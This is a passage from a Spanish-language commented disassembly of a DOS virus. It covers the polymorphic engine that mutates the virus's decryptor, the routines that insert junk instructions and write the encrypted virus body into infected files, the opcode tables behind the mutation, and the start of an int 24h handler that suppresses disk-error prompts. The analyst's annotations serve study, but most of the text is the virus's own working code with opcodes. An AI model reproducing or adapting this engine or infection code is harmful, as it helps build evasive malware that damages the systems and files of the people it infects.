Ω; Inserta -6                       ∩0DA6:0DF8 AA            STOSB                                                       ∩0DA6:0DF9 92            XCHG    DX,AX           Ω; Y ahora inserta DL               ∩0DA6:0DFA AA            STOSB                                                       ∩0DA6:0DFB C3            RET                     Ω; Retorna                                                                                                               ε;;; Rutina para formar una instrucción CMP/XOR/SUB/AND/ADD BYTE/WORD [BP+**],       ε;;; **** y hacer una operación con DX                                                                                                                                    ∩0DA6:0DFC E83BFB        CALL    093A            Ω; Obtiene un aleatorio en AX       ∩0DA6:0DFF 8AD8          MOV     BL,AL           Ω; Pone AL en BL                    ∩0DA6:0E01 83E307        AND     BX,+07          Ω; Anula todos los bits de BX                                                       Ω; menos los 3 inferiores            ∩0DA6:0E04 80FB04        CMP     BL,04           Ω; Comprueba si BL es 4             ∩0DA6:0E07 77F3          JA      0DFC            Ω; Si es mayor, repite el pro-                                                      Ω; ceso                              ∩0DA6:0E09 8A87650F      MOV     AL,[BX+0F65]    Ω; Lo inserta junto con el valor    ∩0DA6:0E0D AA            STOSB                   Ω; 81h para formar una instruc-                                                     Ω; ción:                                                                             Ω; CMP/XOR/SUB/AND/ADD WORD PTR                                                      Ω; [BP+**], **** ,                                                                   Ω; o con el valor 80h para for-                                                      Ω; mar lo mismo pero BYTE PTR        ∩0DA6:0E0E 80FB03        CMP     BL,03           Ω; ¿BL = 3, y por tanto AND?        ∩0DA6:0E11 7413          JZ      0E26            Ω; Salta si sí                      ∩0DA6:0E13 80FB04        CMP     BL,04           Ω; ¿BL = 4, y por tanto ADD?        ∩0DA6:0E16 7510          JNZ     0E28            Ω; Si no es 4, salta y acaba        ∩0DA6:0E18 F645FE01      TEST    BYTE PTR [DI-02],01 Ω; Comprueba si la instruc-                                                     Ω; ción anterior es par (si es,                                                      Ω; será MOV BP,SP. Si no lo es,                                                      Ω; PUSH SP / POP BP)                 ∩0DA6:0E1C 7505          JNZ     0E23            Ω; Si no es, salta a :0E23          ∩0DA6:0E1E F6DE          NEG     DH              Ω; Niega DH y DL por separado       ∩0DA6:0E20 F6DA          NEG     DL                                                  ∩0DA6:0E22 C3            RET                     Ω; Retorna                                                                         Ω; Aquí desde :0E1C                   ∩0DA6:0E23 F7DA          NEG     DX              Ω; Niega DX                         ∩0DA6:0E25 C3            RET                     Ω; Retorna                                                                         Ω; Aquí si BL = 3                     ∩0DA6:0E26 F7D2          NOT     DX              Ω; Le hace NOT a DX                                                                Ω; Aquí si BL = 0,1 ó 2               ∩0DA6:0E28 C3            RET                     Ω; Retorna                                                                                                               ε;;;;;;; Rutina para insertar una instrucción JNZ ** aleatoria                                                                                                            ∩0DA6:0E29 F6068C0108    TEST    BYTE PTR [018C],08 Ω; Comprueba si el bit 3 en                                                      Ω; [018C] está a 1                   ∩0DA6:0E2E 740C          JZ      0E3C            Ω; Si está a 0, salta y retorna     ∩0DA6:0E30 E807FB        CALL    093A            Ω; Coge un aleatorio                ∩0DA6:0E33 80E47F        AND     AH,7F           Ω; Desactiva los 5 bits superio-                                                    Ω; res                               ∩0DA6:0E36 80C40A        ADD     AH,0A           Ω; Le suma 10h a AH                 ∩0DA6:0E39 B075          MOV     AL,75           Ω; Pone en AL el opcode de JNZ      ∩0DA6:0E3B AB            STOSW                   Ω; Almacena la instrucción          ∩0DA6:0E3C C3            RET                     Ω; Retorna                                                                                                               ε;;;; Rutina para insertar una instrucción INT basura                                                                                                                     ∩0DA6:0E3D 80C102        ADD     CL,02           Ω; Suma 2 a CL                      ∩0DA6:0E40 B32A          MOV     BL,2A           Ω; BL = 2Ah                         ∩0DA6:0E42 E8F5FA        CALL    093A            Ω; Obtiene un aleatorio en AX       ∩0DA6:0E45 02C3          ADD     AL,BL           Ω; Suma a AL ese número             ∩0DA6:0E47 73FC          JNB     0E45            Ω; Suma hasta que hay rebosa-                                                       Ω; miento                            ∩0DA6:0E49 25FE00        AND     AX,00FE         Ω; Hace par el número obtenido      ∩0DA6:0E4C 93            XCHG    BX,AX           Ω; Lo pone en BX                    ∩0DA6:0E4D 8B870308      MOV     AX,[BX+0803]    Ω; Obtiene una instrucción INT                                                      Ω; basura                            ∩0DA6:0E51 AB            STOSW                   Ω; La inserta                       ∩0DA6:0E52 C3            RET                     Ω; Retorna                                                                                                               ε;;;; Rutina para escribir una determinada cantidad de bytes en 1E86 (que son        ε;;;; los bytes que acaba de encriptar) al archivo controlado por el handle en       ε;;;; BX                                                                                                                                                                  ∩0DA6:0E53 50            PUSH    AX              Ω; Guarda AX                        ∩0DA6:0E54 833E6C0E00    CMP     WORD PTR [0E6C],+00 Ω; Mira si el valor en                                                          Ω; [0E6C] no es 0                    ∩0DA6:0E59 B90002        MOV     CX,0200         Ω; Pone el valor 512 en CX...       ∩0DA6:0E5C 7502          JNZ     0E60            Ω; ... y si no es 0, salta a lo                                                     Ω; siguiente                         ∩0DA6:0E5E 8BCA          MOV     CX,DX           Ω; En CX                            ∩0DA6:0E60 BA861E        MOV     DX,1E86         Ω; DX = offset de inicio de los                                                     Ω; datos que acaba de preparar       ∩0DA6:0E63 8BFA          MOV     DI,DX           Ω; DI = 1E86                        ∩0DA6:0E65 B440          MOV     AH,40           Ω; Función de escritura             ∩0DA6:0E67 E85BF4        CALL    02C5            Ω; Interrupción 21h                 ∩0DA6:0E6A 58            POP     AX              Ω; Saca AX                          ∩0DA6:0E6B C3            RET                     Ω; Retorna                                                                                                               ∩0DA6:0E6C 0000          DB      00,00     Ω; Word donde almacena el tamaño de                                                 Ω; virus que aún le queda por encrip-                                                Ω; tar y escribir en archivo en el                                                   Ω; LOOP de la función que empieza en                                                 Ω; :0992.                                                                            Ω; Cuando se instala por BOOT, aquí                                                  Ω; pone un contador que utilizará en                                                 Ω; la int 1Ch para repetir 2 veces                                                   Ω; el proceso de obtención de la int                                                 Ω; 21h cuando comprueba si el DOS ya                                                 Ω; está instalado.                                                                                                              ∩0DA6:0E6E 0000          DB      00,00    Ω; Aquí mete el offset de inicio del                                                Ω; virus en el archivo                                                                                                           ε;;;;; Desencriptador que polimorfeará y añadirá al virus. Después, encriptará       ε;;;;; el virus con la clave de encriptado que tenga en :0E74                                                                                                             ∩0DA6:0E70 BF701E        MOV     DI,1E70  Ω; Registro puesto en :0F0F                ∩0DA6:0E73 B16C          MOV     CL,6C    Ω; El valor que se le carga a *L/*H es                                              Ω; puesto en :09CE                                                                   Ω; Este registro puede ser AH, AL, BH,                                               Ω; BL, CH, CL, DH o DL según :0ED8          ∩0DA6:0E75 BE0C00        MOV     SI,0000  Ω; Modificado en :0E89 para formar                                                  Ω; MOV BX/DI/SI, ****. En :09A9, el                                                  Ω; valor **** es puesto, y éste es el                                                Ω; offset inicial del virus en el ar-                                                Ω; chivo que está infectando                ∩0DA6:0E78 56            PUSH    SI       Ω; Modificado en :0E91 para que sea                                                 Ω; PUSH BX/DI/SI                            ∩0DA6:0E79 2E            CS:              Ω; Modificado en :0F48. Será CS: si el                                              Ω; archivo es EXE, y CS:/DS:/ES:/SS: si                                              Ω; el archivo es un COM                     ∩0DA6:0E7A 280C          SUB     [SI],CL  Ω; Modificado según :0EE8 y :09C2 para                                              Ω; dar una amplia gama de instruccio-                                                Ω; nes: 72 diferentes                       ∩0DA6:0E7C 46            INC     SI       Ω; Modificado en :0EAB para formar                                                  Ω; INC BX/DI/SI o DEC/BX/DI/SI, según                                                Ω; un aleatorio que ha sacado               ∩0DA6:0E7D 4F            DEC     DI       Ω; Modificado en :0F17                     ∩0DA6:0E7E 7FF9          JG      0E79     Ω; Modificado en :0F27                     ∩0DA6:0E80 C3            RET                                                                                                                                              ε;;;; Rutina para polimorfear el desencriptador que hay a partir de :0E70. Hay       ε;;;; una cosa en ella que no entiendo, y es que tiene código para que, en la        ε;;;; instrucción que hay en :0E7C, ponga INC o DEC, según calcule. Lo que pasa      ε;;;; es que poner un DEC sería desastroso, porque no tiene las instrucciones        ε;;;; para sumarle al valor que pone en :0E70 el tamaño del virus, que sería lo      ε;;;; correcto si hace DEC para que empezara desde el final. Si por sus aleato-      ε;;;; rios llegara a poner un DEC, acabaría encriptando el propio desencripta-       ε;;;; dor y colgaría el programa al ejecutarlo                                                                                                                            ∩0DA6:0E81 53            PUSH    BX              Ω; Guarda el handle                 ∩0DA6:0E82 E831FA        CALL    08B6            Ω; Obtiene en BL un número en-                                                      Ω; tre 0 y 2 de la cadena de                                                         Ω; aleatorios del virus              ∩0DA6:0E85 8AA77E0F      MOV     AH,[BX+0F7E]    Ω; Obtiene en AH el opcode de                                                       Ω; una de las instrucciones                                                          Ω; MOV BX/DI/SI, ****                ∩0DA6:0E89 8826750E      MOV     [0E75],AH       Ω; Lo mete en [0E75] y modifica                                                     Ω; la instrucción que haya allí      ∩0DA6:0E8D 8AA7810F      MOV     AH,[BX+0F81]    Ω; Coge el opcode de la instruc-                                                    Ω; ción PUSH BX/DI/SI                ∩0DA6:0E91 8826780E      MOV     [0E78],AH       Ω; Lo mete en [0E78]                ∩0DA6:0E95 E8A2FA        CALL    093A            Ω; Obtiene en AX un número alea-                                                    Ω; torio de la Cadena (con ma-                                                       Ω; yúscula :)                        ∩0DA6:0E98 88265C0F      MOV     [0F5C],AH       Ω; Mete AH en [0F5C]                ∩0DA6:0E9C 80FC80        CMP     AH,80           Ω; Comprueba si AH es 80            ∩0DA6:0E9F 7706          JA      0EA7            Ω; Si es mayor, salta               ∩0DA6:0EA1 8AA7870F      MOV     AH,[BX+0F87]    Ω; Obtiene en AH el opcode de                                                       Ω; DEC BX/DI/SI                      ∩0DA6:0EA5 EB04          JMP     0EAB            Ω; Salta y continúa                 ∩0DA6:0EA7 8AA7840F      MOV     AH,[BX+0F84]    Ω; Obtiene en AH el opcode de                                                       Ω; INC BX/DI/SI                      ∩0DA6:0EAB 88267C0E      MOV     [0E7C],AH       Ω; Lo mete en [0E7C]                ∩0DA6:0EAF 8AD3          MOV     DL,BL           Ω; Pone el valor de BL en DL        ∩0DA6:0EB1 80C303        ADD     BL,03           Ω; Suma 3 a BL                      ∩0DA6:0EB4 80FB03        CMP     BL,03           Ω; Comprueba si BL es 3 (con lo                                                     Ω; que el valor de BL antes de                                                       Ω; la suma era 0)                    ∩0DA6:0EB7 7503          JNZ     0EBC            Ω; Si no es, salta                  ∩0DA6:0EB9 80EB02        SUB     BL,02           Ω; Le resta 2 y entonces BL = 1     ∩0DA6:0EBC 881E5D0F      MOV     [0F5D],BL       Ω; Aquí llegará con los valores                                                     Ω; posibles de BL 1, 4 o 5. Me-                                                      Ω; te este valor en [0F5D].          ∩0DA6:0EC0 E877FA        CALL    093A            Ω; Obtiene en AX un aleatorio                                                       Ω; de la cadena de aleatorios        ∩0DA6:0EC3 F7D0          NOT     AX              Ω; NOTea AX                         ∩0DA6:0EC5 2407          AND     AL,07           Ω; Anula los 5 bits superiores                                                      Ω; de AL                             ∩0DA6:0EC7 8AD8          MOV     BL,AL           Ω; Lo mete en BL                    ∩0DA6:0EC9 D0E8          SHR     AL,1            Ω; Desplaza los bits de AL una                                                      Ω; posición hacia la derecha                                                         Ω; (que es como si dividiera AL                                                      Ω; entre 2), de manera que ahora                                                     Ω; puede tener los valores 0, 1                                                      Ω; o 2                               ∩0DA6:0ECB 38065D0F      CMP     [0F5D],AL       Ω; Comprueba si es el mismo nú-                                                     Ω; mero que guardó en [0F5D],                                                        Ω; y sólo pueden coincidir si                                                        Ω; ambos son 1                       ∩0DA6:0ECF 74EF          JZ      0EC0            Ω; Si AL es 1 y ese número tam-                                                     Ω; bién, salta y repite la toma                                                      Ω; de un aleatorio                   ∩0DA6:0ED1 A25E0F        MOV     [0F5E],AL       Ω; Guarda AL en [0F5E]              ∩0DA6:0ED4 8AA7A60F      MOV     AH,[BX+0FA6]    Ω; Toma en AH (que tiene 8 valo-                                                    Ω; res distintos) el opcode de                                                       Ω; la instrucción:                                                                 Ω; MOV AL/AH/BL/BH/CL/CH/DL/DH,**      ∩0DA6:0ED8 8826730E      MOV     [0E73],AH       Ω; La pone en el desencriptador     ∩0DA6:0EDC D0E2          SHL     DL,1            Ω; Multiplica DL por 8. DL tenía                                                                                         ∩0DA6:0EDE D0E2          SHL     DL,1            Ω; el valor 0, 1 ó 2                ∩0DA6:0EE0 D0E2          SHL     DL,1                                                ∩0DA6:0EE2 02DA          ADD     BL,DL           Ω; Suma a BL el valor obtenido                                                      Ω; en DL. BL varía ahora entre                                                       Ω; 0 y 23                            ∩0DA6:0EE4 8AA7AE0F      MOV     AH,[BX+0FAE]    Ω; Obtiene en AH el segundo va-                                                     Ω; lor de opcode de la instruc-                                                      Ω; ción:                                                                             Ω; XOR/SUB/ADD [BX/DI/SI],AL/AH/                                                     Ω; BL/BH/CL/CH/DL/DH.                                                                Ω; La tabla para sacar esto ya                                                       Ω; está preparada para que se-                                                       Ω; gún los valores que se hayan                                                      Ω; sacado antes para la elección                                                     Ω; de los registros, ahora se                                                        Ω; forme la instrucción correc-                                                      Ω; ta.                               ∩0DA6:0EE8 88267B0E      MOV     [0E7B],AH       Ω; Lo mete en el desencriptador                                                     Ω; que está formando y forma la                                                      Ω; instrucción completa              ∩0DA6:0EEC E84BFA        CALL    093A            Ω; Obtiene en AX un aleatorio                                                       Ω; de la cadena del virus            ∩0DA6:0EEF F7D0          NOT     AX              Ω; Le hace NOT (invierte cada                                                       Ω; uno de sus bytes)                 ∩0DA6:0EF1 8AD8          MOV     BL,AL           Ω; Pone AL en BL                    ∩0DA6:0EF3 80E307        AND     BL,07           Ω; Reduce BL a un número entre                                                      Ω; 0 y 7                             ∩0DA6:0EF6 80FB06        CMP     BL,06           Ω; Si BL es 7...                    ∩0DA6:0EF9 77F1          JA      0EEC            Ω; ...salta y coge otro aleato-                                                     Ω; rio, y hace LOOP hasta que                                                        Ω; el valor en BL sea < 7            ∩0DA6:0EFB 381E5D0F      CMP     [0F5D],BL       Ω; Comprueba si es el mismo nú-                                                     Ω; mero que el que hay en [0F5D]     ∩0DA6:0EFF 74EB          JZ      0EEC            Ω; Si es, salta y obtiene otro                                                      Ω; número                            ∩0DA6:0F01 381E5E0F      CMP     [0F5E],BL       Ω; Comprueba si es el número que                                                    Ω; hay en [0F5E]                     ∩0DA6:0F05 74E5          JZ      0EEC            Ω; Si es el mismo, salta y ob-                                                      Ω; tiene otro                        ∩0DA6:0F07 881E5F0F      MOV     [0F5F],BL       Ω; Guarda el número obtenido        ∩0DA6:0F0B 8AA78A0F      MOV     AH,[BX+0F8A]    Ω; Coge en AH el opcode de la                                                       Ω; instrucción MOV RegX, ****        ∩0DA6:0F0F 8826700E      MOV     [0E70],AH       Ω; Lo mete en :0E70                 ∩0DA6:0F13 8AA7910F      MOV     AH,[BX+0F91]    Ω; Coge en AH el código de la                                                       Ω; instrucción                                                                       Ω; DEC AX/BX/CX/DX/DI/SI/BP          ∩0DA6:0F17 88267D0E      MOV     [0E7D],AH       Ω; Lo mete en [0E7D]                ∩0DA6:0F1B E81CFA        CALL    093A            Ω; Obtiene en AX un aleatorio       ∩0DA6:0F1E 2407          AND     AL,07           Ω; Lo reduce a un número entre                                                      Ω; 0 y 7                             ∩0DA6:0F20 98            CBW                     Ω; AH = 0                           ∩0DA6:0F21 8BD8          MOV     BX,AX           Ω; BX = AX                          ∩0DA6:0F23 8AA7C60F      MOV     AH,[BX+0FC6]    Ω; En AH, el opcode de la ins-                                                      Ω; trucción                                                                          Ω; JNZ/JNS/JG/JGE/JA/JNB/JB/JBE      ∩0DA6:0F27 88267E0E      MOV     [0E7E],AH       Ω; Lo mete en [0E7E]                ∩0DA6:0F2B 881E600F      MOV     [0F60],BL       Ω; Guarda BL en [0F60]              ∩0DA6:0F2F E808FA        CALL    093A            Ω; Obtiene en AX un aleatorio       ∩0DA6:0F32 F7D0          NOT     AX              Ω; Le hace NOT                      ∩0DA6:0F34 33DB          XOR     BX,BX           Ω; BX = 0                           ∩0DA6:0F36 8AD8          MOV     BL,AL           Ω; BL = AL = ??                     ∩0DA6:0F38 80E303        AND     BL,03           Ω; Reduce BL a un número entre                                                      Ω; 0 y 3                             ∩0DA6:0F3B A07901        MOV     AL,[0179]       Ω; Coge en AL si es COM o EXE                                                       Ω; (0 para COM, 1 para EXE)          ∩0DA6:0F3E 0AC0          OR      AL,AL           Ω; Mira si AL es 0                  ∩0DA6:0F40 7402          JZ      0F44            Ω; Si es, salta                     ∩0DA6:0F42 8AD8          MOV     BL,AL           Ω; Si es EXE, BL = 01               ∩0DA6:0F44 8AA7CE0F      MOV     AH,[BX+0FCE]    Ω; Ahora coge en AH el opcode                                                       Ω; de la instrucción                                                                 Ω; DS:/CS:/ES:/SS:. Si es EXE,                                                       Ω; el único que es seguro que                                                        Ω; contendrá al segmento a la                                                        Ω; hora de desencriptar es CS,                                                       Ω; y en un COM serán todos                                                           Ω; ellos, y por tanto si es EXE                                                      Ω; sólo cogerá CS:                   ∩0DA6:0F48 8826790E      MOV     [0E79],AH       Ω; Pone esto en [0E79]              ∩0DA6:0F4C A05C0F        MOV     AL,[0F5C]       Ω; Coge el valor de [0F5C], que                                                     Ω; era un byte que si era mayor                                                      Ω; que 80h indicaba INC BX/DI/SI                                                     Ω; y si era menor, DEC "/"/".        ∩0DA6:0F4F 2407          AND     AL,07           Ω; Anula los 5 bits superiores      ∩0DA6:0F51 98            CBW                     Ω; AH = 0, siempre                  ∩0DA6:0F52 40            INC     AX              Ω; Incrementa AX                    ∩0DA6:0F53 056A1E        ADD     AX,1E6A         Ω; Suma a AX el tamaño del vi-                                                      Ω; rus                               ∩0DA6:0F56 A3710E        MOV     [0E71],AX       Ω; Lo pone en [0E71]                ∩0DA6:0F59 5B            POP     BX              Ω; Recupera el handle del archi-                                                    Ω; vo en BX                          ∩0DA6:0F5A C3            RET                     Ω; Retorna                                                                                                               ε;;; Zona de variables donde va guardando datos para no perderlos                    ∩0DA6:0F5B 00            DB      00                                                  ∩0DA6:0F5C C5            DB      C5,05,02,04,02                                                                                                                           ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;                   ε;;;;;;; TABLAS DE OPCODES PARA LAS RUTINAS DE POLIMORFIA ;;;;;;;;                   ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;                                                                                                        ∩0DA6:0F61 8BEC          DB      8B,EC     Ω; MOV BP,SP                              ∩0DA6:0F63 545D          DB      54,5D     Ω; PUSH SP / POP BP                                                                                                                                                      81h + XXh =                                ∩0DA6:0F65 7E            DB      7E      Ω; CMP WORD PTR [BP+**],****                ∩0DA6:0F66 76            DB      76      Ω; XOR WORD PTR [BP+**],****                ∩0DA6:0F67 6E            DB      6E      Ω; SUB WORD PTR [BP+**],****                ∩0DA6:0F68 66            DB      66      Ω; AND WORD PTR [BP+**],****                ∩0DA6:0F69 46            DB      46      Ω; ADD WORD PTR [BP+**],****                                                                                                     ∩0DA6:0F6A 64            DB      64      Ω; FS:                                      ∩0DA6:0F6B 65            DB      65      Ω; GS:                                      ∩0DA6:0F6C 67            DB      67      Ω; Según bytes posteriores                  ∩0DA6:0F6D 9B            DB      9B      Ω; WAIT                                     ∩0DA6:0F6E D6            DB      D6      Ω; ??                                       ∩0DA6:0F6F 9B            DB      9B      Ω; WAIT                                     ∩0DA6:0F70 64            DB      64      Ω; FS:                                      ∩0DA6:0F71 65            DB      65      Ω; GS:                                                                                                                                                                                                                ∩0DA6:0F72 C0F0          DB      C0,F0                                               ∩0DA6:0F74 C1F0          DB      C1,F0                                               ∩0DA6:0F76 F6C8          DB      F6,C8                                               ∩0DA6:0F78 F7C8          DB      F7,C8                                               ∩0DA6:0F7A D0F0          DB      D0,F0                                               ∩0DA6:0F7C D1F0          DB      D1,F0                                                                                                                                    ∩0DA6:0F7E BB            DB      BB       Ω; MOV BX, ****                            ∩0DA6:0F7F BF            DB      BF       Ω; MOV DI, ****                            ∩0DA6:0F80 BE            DB      BE       Ω; MOV SI, ****                                                                                                                 ∩0DA6:0F81 53            DB      53       Ω; PUSH BX                                 ∩0DA6:0F82 57            DB      57       Ω; PUSH DI                                 ∩0DA6:0F83 56            DB      56       Ω; PUSH SI                                                                                                                      ∩0DA6:0F84 43            DB      43       Ω; INC BX                                  ∩0DA6:0F85 47            DB      47       Ω; INC DI                                  ∩0DA6:0F86 46            DB      46       Ω; INC SI                                                                                                                       ∩0DA6:0F87 4B            DB      4B       Ω; DEC BX                                  ∩0DA6:0F88 4F            DB      4F       Ω; DEC DI                                  ∩0DA6:0F89 4E            DB      4E       Ω; DEC SI                                                                                                                       ∩0DA6:0F8A B8            DB      B8       Ω; MOV AX, ****                            ∩0DA6:0F8B BB            DB      BB       Ω; MOV BX, ****                            ∩0DA6:0F8C B9            DB      B9       Ω; MOV CX, ****                            ∩0DA6:0F8D BA            DB      BA       Ω; MOV DX, ****                            ∩0DA6:0F8E BF            DB      BF       Ω; MOV DI, ****                            ∩0DA6:0F8F BE            DB      BE       Ω; MOV SI, ****                            ∩0DA6:0F90 BD            DB      BD       Ω; MOV BP, ****                                                                                                                 ∩0DA6:0F91 48            DB      48       Ω; DEC AX                                  ∩0DA6:0F92 4B            DB      4B       Ω; DEC BX                                  ∩0DA6:0F93 49            DB      49       Ω; DEC CX                                  ∩0DA6:0F94 4A            DB      4A       Ω; DEC DX                                  ∩0DA6:0F95 4F            DB      4F       Ω; DEC DI                                  ∩0DA6:0F96 4E            DB      4E       Ω; DEC SI                                  ∩0DA6:0F97 4D            DB      4D       Ω; DEC BP                                                                                                                                                                  81h + XXh =      83h + XXh =              ∩0DA6:0F98 E8            DB      E8       Ω; SUB AX, ****     SUB AX,+/-**           ∩0DA6:0F99 EB            DB      EB       Ω; SUB BX, ****     SUB BX,+/-**           ∩0DA6:0F9A E9            DB      E9       Ω; SUB CX, ****     SUB CX,+/-**           ∩0DA6:0F9B EA            DB      EA       Ω; SUB DX, ****     SUB DX,+/-**           ∩0DA6:0F9C EF            DB      EF       Ω; SUB DI, ****     SUB DI,+/-**           ∩0DA6:0F9D EE            DB      EE       Ω; SUB SI, ****     SUB SI,+/-**           ∩0DA6:0F9E ED            DB      ED       Ω; SUB BP, ****     SUB BP,+/-**                                                                                                                                           81h + XXh =      83h + XXh =              ∩0DA6:0F9F C0            DB      C0       Ω; ADD AX, ****     ADD AX,+/-**           ∩0DA6:0FA0 C3            DB      C3       Ω; ADD BX, ****     ADD BX,+/-**           ∩0DA6:0FA1 C1            DB      C1       Ω; ADD CX, ****     ADD CX,+/-**           ∩0DA6:0FA2 C2            DB      C2       Ω; ADD DX, ****     ADD DX,+/-**           ∩0DA6:0FA3 C7            DB      C7       Ω; ADD DI, ****     ADD DI,+/-**           ∩0DA6:0FA4 C6            DB      C6       Ω; ADD SI, ****     ADD SI,+/-**           ∩0DA6:0FA5 C5            DB      C5       Ω; ADD BP, ****     ADD BP,+/-**                                                                                                ∩0DA6:0FA6 B0            DB      B0      Ω; MOV AL, **                               ∩0DA6:0FA7 B4            DB      B4      Ω; MOV AH, **                               ∩0DA6:0FA8 B3            DB      B3      Ω; MOV BL, **                               ∩0DA6:0FA9 B7            DB      B7      Ω; MOV BH, **                               ∩0DA6:0FAA B1            DB      B1      Ω; MOV CL, **                               ∩0DA6:0FAB B5            DB      B5      Ω; MOV CH, **                               ∩0DA6:0FAC B2            DB      B2      Ω; MOV DL, **                               ∩0DA6:0FAD B6            DB      B6      Ω; MOV DH, **                                                                                                                                                            Ω; Esta tabla es de valores que junto                                                Ω; con los valores de opcode 30, 00 y                                                Ω; 28 (XOR, ADD y SUB) forman una ins-                                               Ω; trucción completa                         ∩0DA6:0FAE 07            DB      07       Ω; ... [BX], AL                            ∩0DA6:0FAF 27            DB      27       Ω; ... [BX], AH                            ∩0DA6:0FB0 00            DB      00       Ω; ... [BX], BL                            ∩0DA6:0FB1 00            DB      00       Ω; ... [BX], BH                            ∩0DA6:0FB2 0F            DB      0F       Ω; ... [BX], CL                            ∩0DA6:0FB3 2F            DB      2F       Ω; ... [BX], CH                            ∩0DA6:0FB4 17            DB      17       Ω; ... [BX], DL                            ∩0DA6:0FB5 37            DB      37       Ω; ... [BX], DH                                                                                                                 ∩0DA6:0FB6 05            DB      05       Ω; ... [DI], AL                            ∩0DA6:0FB7 25            DB      25       Ω; ... [DI], AH                            ∩0DA6:0FB8 1D            DB      1D       Ω; ... [DI], BL                            ∩0DA6:0FB9 3D            DB      3D       Ω; ... [DI], BH                            ∩0DA6:0FBA 0D            DB      0D       Ω; ... [DI], CL                            ∩0DA6:0FBB 2D            DB      2D       Ω; ... [DI], CH                            ∩0DA6:0FBC 15            DB      15       Ω; ... [DI], DL                            ∩0DA6:0FBD 35            DB      35       Ω; ... [DI], DH                                                                                                                 ∩0DA6:0FBE 04            DB      04       Ω; ... [SI], AL                            ∩0DA6:0FBF 24            DB      24       Ω; ... [SI], AH                            ∩0DA6:0FC0 1C            DB      1C       Ω; ... [SI], BL                            ∩0DA6:0FC1 3C            DB      3C       Ω; ... [SI], BH                            ∩0DA6:0FC2 0C            DB      0C       Ω; ... [SI], CL                            ∩0DA6:0FC3 2C            DB      2C       Ω; ... [SI], CH                            ∩0DA6:0FC4 14            DB      14       Ω; ... [SI], DL                            ∩0DA6:0FC5 34            DB      34       Ω; ... [SI], DH                                                                                                                                                                                                      ∩0DA6:0FC6 75            DB      75       Ω; JNZ **                                  ∩0DA6:0FC7 79            DB      79       Ω; JNS **                                  ∩0DA6:0FC8 7F            DB      7F       Ω; JG **                                   ∩0DA6:0FC9 7D            DB      7D       Ω; JGE **                                  ∩0DA6:0FCA 77            DB      77       Ω; JA **                                   ∩0DA6:0FCB 73            DB      73       Ω; JNB **                                  ∩0DA6:0FCC 72            DB      72       Ω; JB **                                   ∩0DA6:0FCD 76            DB      76       Ω; JBE **                                                                                                                       ∩0DA6:0FCE 3E            DB      3E     Ω; DS:                                       ∩0DA6:0FCF 2E            DB      2E     Ω; CS:                                       ∩0DA6:0FD0 26            DB      26     Ω; ES:                                       ∩0DA6:0FD1 36            DB      36     Ω; SS:                                                                                                                            ∩0DA6:0FD2 30            DB      30     Ω; Instrucción XOR ...                       ∩0DA6:0FD3 00            DB      00     Ω; Instrucción ADD ...                       ∩0DA6:0FD4 28            DB      28     Ω; Instrucción SUB ...                       ∩0DA6:0FD5 30            DB      30     Ω; Instrucción XOR ...                                                                                                                                                   Ω; FEh + XX=     80h + XX=                    ∩0DA6:0FD6 C0            DB      C0     Ω; INC AL        ADD AL, **                  ∩0DA6:0FD7 C4            DB      C4     Ω; INC AH        ADD AH, **                  ∩0DA6:0FD8 C3            DB      C3     Ω; INC BL        ADD BL, **                  ∩0DA6:0FD9 C7            DB      C7     Ω; INC BH        ADD BH, **                  ∩0DA6:0FDA C1            DB      C1     Ω; INC CL        ADD CL, **                  ∩0DA6:0FDB C5            DB      C5     Ω; INC CH        ADD CH, **                  ∩0DA6:0FDC C2            DB      C2     Ω; INC DL        ADD DL, **                  ∩0DA6:0FDD C6            DB      C6     Ω; INC DH        ADD DH, **                                                                                                                                              Ω; 80h + XX=                                  ∩0DA6:0FDE E8            DB      E8     Ω; SUB AL, **                                ∩0DA6:0FDF EC            DB      EC     Ω; SUB AH, **                                ∩0DA6:0FE0 EB            DB      EB     Ω; SUB BL, **                                ∩0DA6:0FE1 EF            DB      EF     Ω; SUB BH, **                                ∩0DA6:0FE2 E9            DB      E9     Ω; SUB CL, **                                ∩0DA6:0FE3 ED            DB      ED     Ω; SUB CH, **                                ∩0DA6:0FE4 EA            DB      EA     Ω; SUB DL, **                                ∩0DA6:0FE5 EE            DB      EE     Ω; SUB DH, **                                                                                                                     ∩0DA6:0FE6 75            DB      75     Ω; JNZ **                                    ∩0DA6:0FE7 78            DB      78     Ω; JS **                                     ∩0DA6:0FE8 7C            DB      7C     Ω; JL **                                     ∩0DA6:0FE9 7E            DB      7E     Ω; JLE **                                                                                                                         ∩0DA6:0FEA 16            DB      16,1F  Ω; PUSH SS/POP DS                            ∩0DA6:0FEC 50            DB      50,1F  Ω; PUSH AX/POP DS                            ∩0DA6:0FEE 8ED8          DB      8E,D8  Ω; MOV DS,AX                                 ∩0DA6:0FF0 16            DB      16,07  Ω; PUSH SS/POP ES                            ∩0DA6:0FF2 50            DB      50,07  Ω; PUSH AX/POP ES                            ∩0DA6:0FF4 8EC0          DB      8E,C0  Ω; MOV ES,AX                                                                                                                                                              Ω; Junto con el valor 33h, forman:           ∩0DA6:0FF6 C0            DB      C0      Ω; 33C0 = XOR AX,AX                         ∩0DA6:0FF7 C9            DB      C9      Ω; 33C9 = XOR CX,CX                                                                                                              ∩0DA6:0FF8 D2DB          RCR     BL,CL                                                                                                                                                                                                                         ∩0DA6:0FFA 1703          DB      17,03    Ω; Aquí guarda el puntero a la int 24h     ∩0DA6:0FFC FA15          DB      FA,15                                               ∩0DA6:0FFE 9F01          DB      9F,01    Ω; Aquí guarda el puntero a la int 1Bh     ∩0DA6:1000 A604          DB      A6,04                                                                                                                                    ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;      ε;;          Nueva interrupción 24h                                          ;;      ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;      ε;; Tratamiento de errores. Esto permite que si ha habido un error de escritura      ε;; por fallo de hardware o porque el disco esta protegido contra escritura, no      ε;; nos haga la pregunta típica de:                                                  ε;; ... ¿Anular, Reintentar, Ignorar? ...                                            ε;; Devolviendo el valor 3 en AL si la int 24h ha sido invocada se hará creer        ε;; al DOS que se le ha dicho "Ignorar". Si no se hiciera esto, quedaría muy    